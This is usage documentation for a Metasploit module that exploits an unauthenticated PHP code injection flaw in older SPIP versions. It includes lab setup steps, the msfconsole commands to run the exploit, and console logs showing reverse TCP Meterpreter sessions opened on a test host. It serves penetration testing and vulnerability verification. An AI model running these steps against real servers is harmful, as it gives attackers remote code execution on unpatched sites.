Spip Connect Exec - Metasploit Framework

Vulnerable Application

This module exploits a PHP code injection vulnerability in SPIP. The vulnerability exists in the connect parameter, allowing an unauthenticated user to execute arbitrary commands with web user privileges. Branches 2.0, 2.1, and 3 are affected. Vulnerable versions are < 2.0.21, < 2.1.16, and < 3.0.3. This module is compatible with both Unix/Linux and Windows platforms, and has been successfully tested on SPIP 2.0.11 and SPIP 2.0.20 on Apache running on Ubuntu, Fedora, and Windows Server.

Setup

On Ubuntu 20.04, download a vulnerable instance of SPIP:

wget https://files.spip.net/spip/archives/SPIP-v2-0-0.zip

Unzip it to a specific folder:

mkdir spip-site 
cp SPIP-v2-0-0.zip spip-site/ 
cd spip-site/ 
unzip SPIP-v2-0-0.zip

Install PHP 5.6 and the necessary extensions:

Add the PPA for PHP 5.6:

sudo add-apt-repository ppa:ondrej/php
sudo apt-get update

Install PHP 5.6 with SQLite extensions:

sudo apt-get install php5.6 php5.6-sqlite php5.6-sqlite3

Enable the required extensions in the PHP configuration file:

Open the PHP INI file for CLI:

sudo nano /etc/php/5.6/cli/php.ini

Add or uncomment the following lines:

extension=sqlite3.so
extension=pdo_sqlite.so

Serve the application (while in the newly created spip-site directory):

php5.6 -S 127.0.0.1:8000

Navigate to the following URL, select sqlite for the database, and complete the installation:

http://127.0.0.1:8000/ecrire/

Verification Steps

Start msfconsole
Do: use exploit/multi/http/spip_connect_exec
Do: set RHOSTS [IP]
Do: set LHOST [IP]
Do: exploit

Options

No options

Targets

0 (PHP In-Memory)

This uses an in-memory PHP payload to execute code.

1 (Unix/Linux Command Shell)

This executes a Unix or Linux command.

2 (Windows Command Shell)

This executes a Windows command.

Scenarios

SPIP 2.0.0 - Linux target - PHP In-Memory

msf exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 2.0.0
[+] The target appears to be vulnerable.
[*] 192.168.1.36:8000 - Attempting to exploit...
[*] Sending stage (39927 bytes) to 192.168.1.36
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:47020) at 2024-08-22 19:19:00 +0200

meterpreter > sysinfo 
Computer    : linux
OS          : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter >

SPIP 2.0.0 - Unix/Linux Command Shell

msf exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/

[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 2.0.0
[+] The target appears to be vulnerable.
[*] 192.168.1.36:8000 - Attempting to exploit...
[*] Sending stage (3045380 bytes) to 192.168.1.36
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:32794) at 2024-08-22 19:20:41 +0200

meterpreter > sysinfo 
Computer     : 192.168.1.36
OS           : LinuxMint 21.3 (Linux 5.15.0-113-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

SPIP 2.0.0 - Windows Command Shell

Somehow, I was unable to obtain a remote code execution (RCE) on my lab environment using the Windows Command Shell target. 
However, based on the exploit's design and its success on other platforms, it is expected to work. 
The issue might be specific to my lab setup.